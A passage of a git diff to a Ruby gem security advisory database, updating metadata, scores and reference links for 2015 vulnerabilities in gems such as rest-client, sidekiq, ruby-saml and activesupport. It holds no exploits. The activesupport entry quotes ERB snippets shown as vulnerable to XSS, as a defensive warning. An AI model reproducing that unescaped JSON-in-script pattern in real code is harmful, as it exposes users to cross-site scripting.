+    - https://web.archive.org/web/20150920092934/https://spreecommerce.com/blog/security-updates-2015-3-3
+    - https://seclists.org/oss-sec/2015/q3/275
+    - https://github.com/spree/spree/commit/bfb5f907219d6f8f879ca940882befe89b58a1a4
+    - https://security.snyk.io/vuln/SNYK-RUBY-SPREE-20360
+    - https://github.com/rubysec/bundler-audit/issues/106
 ---
diff --git a/advisories/_posts/2015-03-24-CVE-2015-1820.md b/advisories/_posts/2015-03-24-CVE-2015-1820.md
index 8d496654..65eed0d2 100644
--- a/advisories/_posts/2015-03-24-CVE-2015-1820.md
+++ b/advisories/_posts/2015-03-24-CVE-2015-1820.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2015-1820 (rest-client): rubygem-rest-client: session fixation vulnerability
-  via Set-Cookie headers in 30x redirection responses'
+title: 'CVE-2015-1820 (rest-client): CVE-2015-1820 rubygem-rest-client: session fixation
+  vulnerability Set-Cookie headers present in an HTTP 30x redirection responses'
 comments: false
 categories:
 - rest-client
@@ -9,22 +9,16 @@ advisory:
   gem: rest-client
   cve: 2015-1820
   osvdb: 119878
+  ghsa: 3fhf-6939-qg8p
   url: https://github.com/rest-client/rest-client/issues/369
-  title: 'rubygem-rest-client: session fixation vulnerability via Set-Cookie headers
-    in 30x redirection responses'
+  title: 'CVE-2015-1820 rubygem-rest-client: session fixation vulnerability Set-Cookie
+    headers present in an HTTP 30x redirection responses'
   date: 2015-03-24
   description: |
-    rest-client in abstract_response.rb improperly handles Set-Cookie headers on
-    HTTP 30x redirection responses. Any cookies will be forwarded to the
-    redirection target regardless of domain, path, or expiration.
-
-    If you control a redirection source, you can cause rest-client to perform a
-    request to any third-party domain with cookies of your choosing, which may be
-    useful in performing a session fixation attack.
-
-    If you control a redirection target, you can steal any cookies set by the
-    third-party redirection request.
-  cvss_v2: 
+    REST client for Ruby (aka rest-client) before 1.8.0 allows remote attackers
+    to conduct session fixation attacks or obtain sensitive cookie information by leveraging
+    passage of cookies set in a response to a redirect.
+  cvss_v3: 9.8
   unaffected_versions:
   - "<= 1.6.0"
   patched_versions:
diff --git a/advisories/_posts/2015-03-24-CVE-2015-1828.md b/advisories/_posts/2015-03-24-CVE-2015-1828.md
index c1703fb6..434e1e25 100644
--- a/advisories/_posts/2015-03-24-CVE-2015-1828.md
+++ b/advisories/_posts/2015-03-24-CVE-2015-1828.md
@@ -8,6 +8,7 @@ advisory:
   gem: http
   cve: 2015-1828
   osvdb: 119927
+  ghsa: 6wpv-cj6x-v3jw
   url: https://groups.google.com/forum/#!topic/httprb/jkb4oxwZjkU
   title: HTTPS MitM vulnerability in http.rb
   date: 2015-03-24
@@ -15,6 +16,7 @@ advisory:
     http.rb failed to call the OpenSSL::SSL::SSLSocket#post_connection_check method to perform hostname verification.
     Because of this, an attacker with a valid certificate but with a mismatched subject can perform a MitM attack.
   cvss_v2: 5.0
+  cvss_v3: 5.9
   patched_versions:
   - ">= 0.7.3"
   - "~> 0.6.4"
diff --git a/advisories/_posts/2015-04-07-OSVDB-120415.md b/advisories/_posts/2015-04-07-OSVDB-120415.md
index 951ea0d6..d66d2522 100644
--- a/advisories/_posts/2015-04-07-OSVDB-120415.md
+++ b/advisories/_posts/2015-04-07-OSVDB-120415.md
@@ -18,7 +18,16 @@ advisory:
     allow a remote attacker to create a specially crafted request that would
     execute arbitrary script code in a user's browser session within the trust
     relationship between their browser and the server.
-  cvss_v2: 
   patched_versions:
   - ">= 3.2.3"
+  related:
+    url:
+    - https://github.com/vmg/redcarpet/releases/tag/v3.2.3
+    - http://danlec.com/blog/bug-in-sundown-and-redcarpet
+    - https://hackerone.com/reports/46916
+    - https://github.com/vmg/redcarpet/blob/master/ext/redcarpet/markdown.c
+    - https://github.com/Homebrew/brew.sh/issues/75
+    - https://git.revreso.de/gigadoc2/diaspora/-/tags/v0.4.1.3
+    - https://www.rapid7.com/db/vulnerabilities/freebsd-vid-c368155a-fa83-11e4-bc58-001e67150279
+    - https://www.mend.io/vulnerability-database/WS-2015-0038
 ---
diff --git a/advisories/_posts/2015-04-14-CVE-2015-1819.md b/advisories/_posts/2015-04-14-CVE-2015-1819.md
index 14fa955b..6a6740a7 100644
--- a/advisories/_posts/2015-04-14-CVE-2015-1819.md
+++ b/advisories/_posts/2015-04-14-CVE-2015-1819.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: nokogiri
   cve: 2015-1819
+  ghsa: q7wx-62r7-j2x7
   url: https://github.com/sparklemotion/nokogiri/issues/1374
   title: Nokogiri gem contains several vulnerabilities in libxml2 and libxslt
   date: 2015-04-14
diff --git a/advisories/_posts/2015-04-14-CVE-2015-1866.md b/advisories/_posts/2015-04-14-CVE-2015-1866.md
index 71d1a505..bc01e298 100644
--- a/advisories/_posts/2015-04-14-CVE-2015-1866.md
+++ b/advisories/_posts/2015-04-14-CVE-2015-1866.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: ember-source
   cve: 2015-1866
+  ghsa: mp78-r56v-45qc
   url: https://groups.google.com/forum/#!topic/ember-security/nbntfs2EbRU
   title: Ember.js XSS Vulnerability With {{view "select"}} Options
   date: 2015-04-14
@@ -25,10 +26,11 @@ advisory:
     All users running an affected release and binding user-supplied data to
     the select options should either upgrade or use one of the workarounds
     immediately.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 1.10.0"
   patched_versions:
   - "~> 1.10.1"
   - "~> 1.11.2"
   - ">= 1.12.0"
-  unaffected_versions:
-  - "< 1.10.0"
 ---
diff --git a/advisories/_posts/2015-04-15-OSVDB-120857.md b/advisories/_posts/2015-04-15-OSVDB-120857.md
index 2628455d..32ed8450 100644
--- a/advisories/_posts/2015-04-15-OSVDB-120857.md
+++ b/advisories/_posts/2015-04-15-OSVDB-120857.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: refile
   osvdb: 120857
-  url: https://groups.google.com/forum/#!topic/ruby-security-ann/VIfMO2LvzNs
+  url: https://groups.google.com/g/ruby-security-ann/c/VIfMO2LvzNs
   title: refile Gem for Ruby contains a remote code execution vulnerability
   date: 2015-04-15
   description: |
@@ -16,9 +16,11 @@ advisory:
     sanitized when handling the 'remote_image_url' field in a form, where
     'image' is the name of the attachment. This may allow a remote attacker
     to execute arbitrary shell commands.
-  cvss_v2: 
   unaffected_versions:
   - "< 0.5.0"
   patched_versions:
   - ">= 0.5.4"
+  related:
+    url:
+    - https://groups.google.com/g/ruby-security-ann/c/VIfMO2LvzNs
 ---
diff --git a/advisories/_posts/2015-04-21-OSVDB-125678.md b/advisories/_posts/2015-04-21-OSVDB-125678.md
index da91bcd1..5ea6dbd9 100644
--- a/advisories/_posts/2015-04-21-OSVDB-125678.md
+++ b/advisories/_posts/2015-04-21-OSVDB-125678.md
@@ -8,10 +8,17 @@ categories:
 advisory:
   gem: sidekiq
   osvdb: 125678
-  url: https://github.com/mperham/sidekiq/pull/2309
+  url: https://seclists.org/oss-sec/2015/q3/267
   title: Sidekiq Gem for Ruby web/views/queue.erb msg.display_class Element XSS
   date: 2015-04-21
-  description: XSS via job arguments display class in Sidekiq::Web
+  description: 'XSS via job arguments display class in Sidekiq::Web
+
+    '
   patched_versions:
   - ">= 3.4.0"
+  related:
+    url:
+    - https://seclists.org/oss-sec/2015/q3/267
+    - https://github.com/mperham/sidekiq/pull/2309
+    - https://github.com/sidekiq/sidekiq/commit/54766f336620ca0ce3b0b87a7a56382496e64b61
 ---
diff --git a/advisories/_posts/2015-04-29-CVE-2015-20108.md b/advisories/_posts/2015-04-29-CVE-2015-20108.md
new file mode 100644
index 00000000..31709554
--- /dev/null
+++ b/advisories/_posts/2015-04-29-CVE-2015-20108.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2015-20108 (ruby-saml): ruby-saml gem is vulnerable to XPath injection'
+comments: false
+categories:
+- ruby-saml
+advisory:
+  gem: ruby-saml
+  osvdb: 124991
+  cve: 2015-20108
+  ghsa: r364-2pj4-pf7f
+  url: https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20217
+  title: ruby-saml gem is vulnerable to XPath injection
+  date: 2015-04-29
+  description: |
+    xml_security.rb in the ruby-saml gem before 1.0.0 for Ruby
+    allows XPath injection and code execution because prepared
+    statements are not used.
+
+    The lack of prepared statements allows for possibly command
+    injection, leading to arbitrary code execution.
+  cvss_v2: 6.7
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.0.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-20108
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0
+    - https://github.com/SAML-Toolkits/ruby-saml/pull/225
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/9853651b96b99653ea8627d757d46bfe62ab6448
+    - https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20217
+    - https://www.mend.io/vulnerability-database/WS-2015-0036
+    - https://github.com/advisories/GHSA-r364-2pj4-pf7f
+---
diff --git a/advisories/_posts/2015-04-29-CVE-2015-3448.md b/advisories/_posts/2015-04-29-CVE-2015-3448.md
new file mode 100644
index 00000000..5b964047
--- /dev/null
+++ b/advisories/_posts/2015-04-29-CVE-2015-3448.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2015-3448 (rest-client): rest-client ruby gem logs sensitive information'
+comments: false
+categories:
+- rest-client
+advisory:
+  gem: rest-client
+  cve: 2015-3448
+  ghsa: mx9f-w8qq-q5jf
+  url: https://github.com/rest-client/rest-client/issues/349
+  title: rest-client ruby gem logs sensitive information
+  date: 2015-04-29
+  description: |
+    REST client for Ruby (aka rest-client) before 1.7.3 logs usernames and
+    passwords, which allows local users to obtain sensitive information by reading the
+    log.
+  cvss_v2: 2.1
+  patched_versions:
+  - ">= 1.7.3"
+---
diff --git a/advisories/_posts/2015-04-29-OSVDB-124991.md b/advisories/_posts/2015-04-29-OSVDB-124991.md
index c1af769b..e5188bf6 100644
--- a/advisories/_posts/2015-04-29-OSVDB-124991.md
+++ b/advisories/_posts/2015-04-29-OSVDB-124991.md
@@ -7,13 +7,20 @@ categories:
 advisory:
   gem: ruby-saml
   osvdb: 124991
-  url: https://github.com/onelogin/ruby-saml/pull/225
+  url: https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0
   title: Ruby-Saml Gem is vulnerable to XPath Injection
   date: 2015-04-29
-  description: "ruby-saml before 1.0.0 is vulnerable to XPath injection on xml_security.rb.
-    The \nlack of prepared statements allows for possibly command injection, leading
-    to \narbitrary code execution\n"
+  description: |
+    ruby-saml before 1.0.0 is vulnerable to XPath injection on
+    xml_security.rb. The lack of prepared statements allows for
+    possibly command injection, leading to arbitrary code execution.
   cvss_v2: 6.7
   patched_versions:
   - ">= 1.0.0"
+  related:
+    url:
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0
+    - https://github.com/SAML-Toolkits/ruby-saml/pull/225
+    - https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20217
+    - https://www.mend.io/vulnerability-database/WS-2015-0036
 ---
diff --git a/advisories/_posts/2015-05-05-CVE-2015-3649.md b/advisories/_posts/2015-05-05-CVE-2015-3649.md
index 1ca6d3c0..27bc76df 100644
--- a/advisories/_posts/2015-05-05-CVE-2015-3649.md
+++ b/advisories/_posts/2015-05-05-CVE-2015-3649.md
@@ -9,6 +9,7 @@ advisory:
   gem: open-uri-cached
   cve: 2015-3649
   osvdb: 121701
+  ghsa: 7m2w-9gw7-c3xp
   url: http://seclists.org/oss-sec/2015/q2/373
   title: open-uri-cached Gem for Ruby Unsafe Temporary File Creation Local Privilege
     Escalation
@@ -17,6 +18,5 @@ advisory:
     open-uri-cached Gem for Ruby contains a flaw that is due to the
     program creating temporary files in a predictable, unsafe manner when using
     YAML. This may allow a local attacker to gain elevated privileges.
-  cvss_v2: 
-  patched_versions: 
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2015-05-11-OSVDB-126329.md b/advisories/_posts/2015-05-11-OSVDB-126329.md
index fe0d5a68..ccbddb1e 100644
--- a/advisories/_posts/2015-05-11-OSVDB-126329.md
+++ b/advisories/_posts/2015-05-11-OSVDB-126329.md
@@ -1,21 +1,26 @@
 ---
 layout: advisory
-title: |
-  OSVDB-126329 (sidekiq-pro): Sidekiq Pro Gem for Ruby web/views/batch.erb Class and ErrorMessage Elements
-  Reflected XSS
+title: 'OSVDB-126329 (sidekiq-pro): Sidekiq Pro Gem for Ruby web/views/batch.erb Class
+  and ErrorMessage Elements Reflected XSS'
 comments: false
 categories:
 - sidekiq-pro
 advisory:
   gem: sidekiq-pro
   osvdb: 126329
-  url: https://github.com/mperham/sidekiq/commit/a695ff347ae50f641dfc35189131b232ea0aa1db
-  title: |
-    Sidekiq Pro Gem for Ruby web/views/batch.erb Class and ErrorMessage Elements
+  url: https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#202
+  title: Sidekiq Pro Gem for Ruby web/views/batch.erb Class and ErrorMessage Elements
     Reflected XSS
   date: 2015-05-11
-  description: |
-    XSS via batch failure error_class and error_message in Sidekiq::Web
+  description: 'XSS via batch failure error_class and error_message in Sidekiq::Web
+
+    '
   patched_versions:
   - ">= 2.0.2"
+  related:
+    url:
+    - https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#202
+    - https://github.com/mperham/sidekiq/commit/a695ff347ae50f641dfc35189131b232ea0aa1db
+    - https://github.com/sidekiq/sidekiq/issues/2467
+    - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20219
 ---
diff --git a/advisories/_posts/2015-05-14-CVE-2015-3900.md b/advisories/_posts/2015-05-14-CVE-2015-3900.md
new file mode 100644
index 00000000..740257db
--- /dev/null
+++ b/advisories/_posts/2015-05-14-CVE-2015-3900.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2015-3900 (rubygems-update): CVE-2015-3900 rubygems: DNS hijacking vulnerability
+  in api_endpoint()'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2015-3900
+  osvdb: 122162
+  ghsa: wp3j-rvfp-624h
+  url: https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356
+  title: 'CVE-2015-3900 rubygems: DNS hijacking vulnerability in api_endpoint()'
+  date: 2015-05-14
+  description: |
+    RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7
+    does not validate the hostname when fetching gems or making API requests, which
+    allows remote attackers to redirect requests to arbitrary domains via a crafted
+    DNS SRV record, aka a "DNS hijack attack." A flaw was found in a way rubygems verified
+    the API endpoint hostname retrieved through a DNS SRV record. A man-in-the-middle
+    attacker could use this flaw to force a client to download content from an untrusted
+    domain.
+  cvss_v2: 5.0
+  patched_versions:
+  - "~> 2.0.16"
+  - "~> 2.2.4"
+  - ">= 2.4.7"
+---
diff --git a/advisories/_posts/2015-05-25-CVE-2015-9284.md b/advisories/_posts/2015-05-25-CVE-2015-9284.md
new file mode 100644
index 00000000..a406d8b6
--- /dev/null
+++ b/advisories/_posts/2015-05-25-CVE-2015-9284.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2015-9284 (omniauth): CSRF vulnerability in OmniAuth''s request phase'
+comments: false
+categories:
+- omniauth
+advisory:
+  gem: omniauth
+  cve: 2015-9284
+  ghsa: ww4x-rwq6-qpgf
+  url: https://github.com/omniauth/omniauth/wiki/Resolving-CVE-2015-9284
+  title: CSRF vulnerability in OmniAuth's request phase
+  date: 2015-05-25
+  description: |
+    The request phase of the OmniAuth Ruby gem is vulnerable to Cross-Site
+    Request Forgery (CSRF) when used as part of the Ruby on Rails framework, allowing
+    accounts to be connected without user intent, user interaction, or feedback to
+    the user. This permits a secondary account to be able to sign into the web
+    application as the primary account.
+
+    In order to mitigate this vulnerability, Rails users should consider using the
+    `omniauth-rails_csrf_protection` gem.
+
+    More info is available here: https://github.com/omniauth/omniauth/wiki/Resolving-CVE-2015-9284
+  cvss_v2: 6.8
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 2.0.0"
+  related:
+    url:
+    - https://github.com/omniauth/omniauth/pull/809
+    - https://github.com/cookpad/omniauth-rails_csrf_protection
+---
diff --git a/advisories/_posts/2015-06-04-CVE-2015-4410.md b/advisories/_posts/2015-06-04-CVE-2015-4410.md
index abea93b0..e5e0634c 100644
--- a/advisories/_posts/2015-06-04-CVE-2015-4410.md
+++ b/advisories/_posts/2015-06-04-CVE-2015-4410.md
@@ -7,15 +7,19 @@ categories:
 advisory:
   gem: moped
   cve: 2015-4410
+  ghsa: f93j-hmcr-jcwh
   url: http://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html
   title: Data Injection Vulnerability in moped Rubygem
   date: 2015-06-04
-  description: A flaw in the ObjectId validation regular expression can enable attackers
+  description: |
+    A flaw in the ObjectId validation regular expression can enable attackers
     to inject arbitrary information into a given BSON object.
-  vendor_patch:
-  - https://github.com/mongoid/moped/compare/e5fc928bcb5b7b89d171e31e31483be4185971b9...32cba17ad7d3da326778b4d8cd4b52e75bca9d40
-  - https://github.com/mongoid/moped/commit/276fbfd23c5ffb65e6bd18d564c8b6878c2498ac
+  cvss_v3: 7.5
   patched_versions:
   - "~> 1.5.3"
   - ">= 2.0.5"
+  related:
+    url:
+    - https://github.com/mongoid/moped/compare/e5fc928bcb5b7b89d171e31e31483be4185971b9...32cba17ad7d3da326778b4d8cd4b52e75bca9d40
+    - https://github.com/mongoid/moped/commit/276fbfd23c5ffb65e6bd18d564c8b6878c2498ac
 ---
diff --git a/advisories/_posts/2015-06-04-CVE-2015-4412.md b/advisories/_posts/2015-06-04-CVE-2015-4412.md
index 8de77bb4..101cfc72 100644
--- a/advisories/_posts/2015-06-04-CVE-2015-4412.md
+++ b/advisories/_posts/2015-06-04-CVE-2015-4412.md
@@ -7,15 +7,19 @@ categories:
 advisory:
   gem: bson
   cve: 2015-4412
+  ghsa: h6rj-8r3c-9gpj
   url: http://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html
   title: Data Injection Vulnerability in bson Rubygem
   date: 2015-06-04
-  description: A flaw in the ObjectId validation regular expression can enable attackers
+  description: |
+    A flaw in the ObjectId validation regular expression can enable attackers
     to inject arbitrary information into a given BSON object.
-  vendor_patch:
-  - https://github.com/mongodb/mongo-ruby-driver/compare/6ae981167759d5819ba3d41e374e5b2af5b79077~1...9859a3ab9773a8a883eb8438b665a921cc991c71
-  - https://github.com/mongodb/bson-ruby/compare/7446d7c6764dfda8dc4480ce16d5c023e74be5ca...28f34978a85b689a4480b4d343389bf4886522e7
+  cvss_v3: 9.8
   patched_versions:
   - "~> 1.12.3"
   - ">= 3.0.4"
+  related:
+    url:
+    - https://github.com/mongodb/mongo-ruby-driver/compare/6ae981167759d5819ba3d41e374e5b2af5b79077~1...9859a3ab9773a8a883eb8438b665a921cc991c71
+    - https://github.com/mongodb/bson-ruby/compare/7446d7c6764dfda8dc4480ce16d5c023e74be5ca...28f34978a85b689a4480b4d343389bf4886522e7
 ---
diff --git a/advisories/_posts/2015-06-04-OSVDB-125676.md b/advisories/_posts/2015-06-04-OSVDB-125676.md
index 8e498ed8..29b71507 100644
--- a/advisories/_posts/2015-06-04-OSVDB-125676.md
+++ b/advisories/_posts/2015-06-04-OSVDB-125676.md
@@ -1,23 +1,28 @@
 ---
 layout: advisory
-title: |
-  OSVDB-125676 (sidekiq): Sidekiq Gem for Ruby web/views/queue.erb CurrentMessagesInQueue Element
-  Reflected XSS
+title: 'OSVDB-125676 (sidekiq): Sidekiq Gem for Ruby web/views/queue.erb Element Reflected
+  XSS'
 comments: false
 categories:
 - sidekiq
 advisory:
   gem: sidekiq
   osvdb: 125676
-  url: https://github.com/mperham/sidekiq/issues/2330
-  title: |
-    Sidekiq Gem for Ruby web/views/queue.erb CurrentMessagesInQueue Element
-    Reflected XSS
+  url: https://seclists.org/oss-sec/2015/q3/267
+  title: Sidekiq Gem for Ruby web/views/queue.erb Element Reflected XSS
   date: 2015-06-04
-  description: XSS via queue name in Sidekiq::Web
+  description: |
+    Sidekiq Gem for Ruby web/views/queue.erb [CurrentMessagesInQueue,
+    AreYouSureDeleteQueue] Element Reflected XSS
   patched_versions:
   - ">= 3.4.0"
   related:
     osvdb:
     - 125677
+    url:
+    - https://seclists.org/oss-sec/2015/q3/267
+    - https://github.com/mperham/sidekiq/issues/2330
+    - https://github.com/sidekiq/sidekiq/commit/2178d66b6686fbf4430223c34c184a64c9906828
+    - https://github.com/rubysec/ruby-advisory-db/pull/196
+    - https://github.com/rubysec/ruby-advisory-db/commit/19a8fc075a6cc0702f978219c88d97c666fecdbd
 ---
diff --git a/advisories/_posts/2015-06-05-CVE-2015-2963.md b/advisories/_posts/2015-06-05-CVE-2015-2963.md
index 111cb998..ffd44c4b 100644
--- a/advisories/_posts/2015-06-05-CVE-2015-2963.md
+++ b/advisories/_posts/2015-06-05-CVE-2015-2963.md
@@ -1,16 +1,16 @@
 ---
 layout: advisory
-title: |
-  CVE-2015-2963 (paperclip): Paperclip Gem for Ruby vulnerable to content type spoofing
+title: 'CVE-2015-2963 (paperclip): Paperclip Gem for Ruby vulnerable to content type
+  spoofing'
 comments: false
 categories:
 - paperclip
 advisory:
   gem: paperclip
   cve: 2015-2963
+  ghsa: 6jvm-3j5h-79f6
   url: https://robots.thoughtbot.com/paperclip-security-release
-  title: |
-    Paperclip Gem for Ruby vulnerable to content type spoofing
+  title: Paperclip Gem for Ruby vulnerable to content type spoofing
   date: 2015-06-05
   description: |
     There is an issue where if an HTML file is uploaded with a .html
diff --git a/advisories/_posts/2015-06-08-CVE-2015-4020.md b/advisories/_posts/2015-06-08-CVE-2015-4020.md
new file mode 100644
index 00000000..f383325c
--- /dev/null
+++ b/advisories/_posts/2015-06-08-CVE-2015-4020.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2015-4020 (rubygems-update): RubyGems remote_fetcher.rb api_endpoint()
+  Function Missing SRV Record Hostname Validation Request Hijacking'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2015-4020
+  ghsa: qv62-xfj6-32xm
+  url: https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-009/?fid=6478
+  title: RubyGems remote_fetcher.rb api_endpoint() Function Missing SRV Record Hostname
+    Validation Request Hijacking
+  date: 2015-06-08
+  description: |
+    RubyGems contains a flaw in the api_endpoint() function in remote_fetcher.rb
+    that is triggered when handling hostnames in SRV records. With a specially
+    crafted response, a context-dependent attacker may conduct DNS hijacking
+    attacks. This vulnerability is due to an incomplete fix for CVE-2015-3900,
+    which allowed redirection to an arbitrary gem server in any security domain.
+  cvss_v2: 5.0
+  patched_versions:
+  - "~> 2.0.17"
+  - "~> 2.2.5"
+  - ">= 2.4.8"
+---
diff --git a/advisories/_posts/2015-06-16-CVE-2015-1840.md b/advisories/_posts/2015-06-16-CVE-2015-1840.md
index 63662607..28cb4603 100644
--- a/advisories/_posts/2015-06-16-CVE-2015-1840.md
+++ b/advisories/_posts/2015-06-16-CVE-2015-1840.md
@@ -7,6 +7,7 @@ categories:
 advisory:
   gem: jquery-ujs
   cve: 2015-1840
+  ghsa: 4whc-pp4x-9pf3
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/XIZPbobuwaY
   title: CSRF Vulnerability in jquery-ujs
   date: 2015-06-16
@@ -35,7 +36,7 @@ advisory:
       end
 
     See also:
-    - http://blog.honeybadger.io/understanding-the-rails-jquery-csrf-vulnerability-cve-2015-1840/
+      - http://blog.honeybadger.io/understanding-the-rails-jquery-csrf-vulnerability-cve-2015-1840/
   cvss_v2: 5.0
   patched_versions:
   - ">= 1.0.4"
diff --git a/advisories/_posts/2015-06-16-CVE-2015-3224.md b/advisories/_posts/2015-06-16-CVE-2015-3224.md
index b2fcd06e..1a719657 100644
--- a/advisories/_posts/2015-06-16-CVE-2015-3224.md
+++ b/advisories/_posts/2015-06-16-CVE-2015-3224.md
@@ -1,22 +1,24 @@
 ---
 layout: advisory
-title: "CVE-2015-3224 (web-console): IP whitelist bypass in Web Console \n"
+title: 'CVE-2015-3224 (web-console): IP whitelist bypass in Web Console'
 comments: false
 categories:
 - web-console
 advisory:
   gem: web-console
   cve: 2015-3224
+  ghsa: 67j6-xv27-w6ww
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/lzmz9_ijUFw
-  title: "IP whitelist bypass in Web Console \n"
+  title: IP whitelist bypass in Web Console
   date: 2015-06-16
-  description: "Specially crafted remote requests can spoof their origin, bypassing
-    the IP whitelist, in any environment where Web Console is enabled (development
-    and test, by default). \n\nUsers whose application is only accessible from localhost
-    (as is the default behaviour in Rails 4.2) are not affected, unless a local proxy
-    is involved. \n\nAll affected users should either upgrade or use one of the work
-    arounds immediately. \n\nTo work around this issue, turn off web-console in all
-    environments, by removing/commenting it from the application's Gemfile. \n"
+  description: |
+    Specially crafted remote requests can spoof their origin, bypassing the IP whitelist, in any environment where Web Console is enabled (development and test, by default).
+
+    Users whose application is only accessible from localhost (as is the default behaviour in Rails 4.2) are not affected, unless a local proxy is involved.
+
+    All affected users should either upgrade or use one of the work arounds immediately.
+
+    To work around this issue, turn off web-console in all environments, by removing/commenting it from the application's Gemfile.
   patched_versions:
   - ">= 2.1.3"
 ---
diff --git a/advisories/_posts/2015-06-16-CVE-2015-3225.md b/advisories/_posts/2015-06-16-CVE-2015-3225.md
index 13211d9a..217bba83 100644
--- a/advisories/_posts/2015-06-16-CVE-2015-3225.md
+++ b/advisories/_posts/2015-06-16-CVE-2015-3225.md
@@ -1,20 +1,21 @@
 ---
 layout: advisory
-title: |
-  CVE-2015-3225 (rack): Potential Denial of Service Vulnerability in Rack
+title: 'CVE-2015-3225 (rack): Potential Denial of Service Vulnerability in Rack'
 comments: false
 categories:
 - rack
 advisory:
   gem: rack
   cve: 2015-3225
+  ghsa: rgr4-9jh5-j4j6
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/gcUbICUmKMc
-  title: |
-    Potential Denial of Service Vulnerability in Rack
+  title: Potential Denial of Service Vulnerability in Rack
   date: 2015-06-16
-  description: "Carefully crafted requests can cause a `SystemStackError` and potentially
-    \ncause a denial of service attack. \n\nAll users running an affected release
-    should upgrade. \n"
+  description: |
+    Carefully crafted requests can cause a `SystemStackError` and potentially
+    cause a denial of service attack.
+
+    All users running an affected release should upgrade.
   patched_versions:
   - ">= 1.6.2"
   - "~> 1.5.4"
diff --git a/advisories/_posts/2015-06-16-CVE-2015-3226.md b/advisories/_posts/2015-06-16-CVE-2015-3226.md
index c8ba48e1..9074ed63 100644
--- a/advisories/_posts/2015-06-16-CVE-2015-3226.md
+++ b/advisories/_posts/2015-06-16-CVE-2015-3226.md
@@ -1,32 +1,55 @@
 ---
 layout: advisory
-title: |
-  CVE-2015-3226 (activesupport): XSS Vulnerability in ActiveSupport::JSON.encode
+title: 'CVE-2015-3226 (activesupport): XSS Vulnerability in ActiveSupport::JSON.encode'
 comments: false
 categories:
 - activesupport
+- rails
 advisory:
   gem: activesupport
+  framework: rails
   cve: 2015-3226
+  ghsa: vxvp-4xwc-jpp6
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/7VlB_pck3hU
-  title: |
-    XSS Vulnerability in ActiveSupport::JSON.encode
+  title: XSS Vulnerability in ActiveSupport::JSON.encode
   date: 2015-06-16
-  description: "When a `Hash` containing user-controlled data is encode as JSON (either
-    through \n`Hash#to_json` or `ActiveSupport::JSON.encode`), Rails does not perform
-    adequate \nescaping that matches the guarantee implied by the `escape_html_entities_in_json`
-    \noption (which is enabled by default). If this resulting JSON string is subsequently
-    \ninserted directly into an HTML page, the page will be vulnerable to XSS attacks.
-    \n\nFor example, the following code snippet is vulnerable to this attack: \n\n
-    \   <%= javascript_tag \"var data = #{user_supplied_data.to_json};\" %> \n\nSimilarly,
-    the following is also vulnerable: \n\n    <script> \n      var data = <%= ActiveSupport::JSON.encode(user_supplied_data).html_safe
-    %>; \n    </script> \n\nAll applications that renders JSON-encoded strings that
-    contains user-controlled \ndata in their views should either upgrade to one of
-    the FIXED versions or use \nthe suggested workaround immediately. \n\nWorkarounds
-    \n----------- \nTo work around this problem add an initializer with the following
-    code: \n\n  module ActiveSupport \n    module JSON \n      module Encoding \n
-    \       private \n        class EscapedString \n          def to_s \n            self
-    \n          end \n        end \n      end \n    end \n  end \n"
+  description: |
+    When a `Hash` containing user-controlled data is encode as JSON (either through
+    `Hash#to_json` or `ActiveSupport::JSON.encode`), Rails does not perform adequate
+    escaping that matches the guarantee implied by the `escape_html_entities_in_json`
+    option (which is enabled by default). If this resulting JSON string is subsequently
+    inserted directly into an HTML page, the page will be vulnerable to XSS attacks.
+
+    For example, the following code snippet is vulnerable to this attack:
+
+        <%= javascript_tag "var data = #{user_supplied_data.to_json};" %>
+
+    Similarly, the following is also vulnerable:
+
+        <script>
+          var data = <%= ActiveSupport::JSON.encode(user_supplied_data).html_safe %>;
+        </script>
+
+    All applications that renders JSON-encoded strings that contains user-controlled
+    data in their views should either upgrade to one of the FIXED versions or use
+    the suggested workaround immediately.
+
+    Workarounds
+    -----------
+    To work around this problem add an initializer with the following code:
+
+      module ActiveSupport
+        module JSON
+          module Encoding
+            private
+            class EscapedString
+              def to_s
+                self
+              end
+            end
+          end
+        end
+      end
   unaffected_versions:
   - "< 4.1.0"
   patched_versions:
diff --git a/advisories/_posts/2015-06-16-CVE-2015-3227.md b/advisories/_posts/2015-06-16-CVE-2015-3227.md
index 40679eff..c49fdcc4 100644
--- a/advisories/_posts/2015-06-16-CVE-2015-3227.md
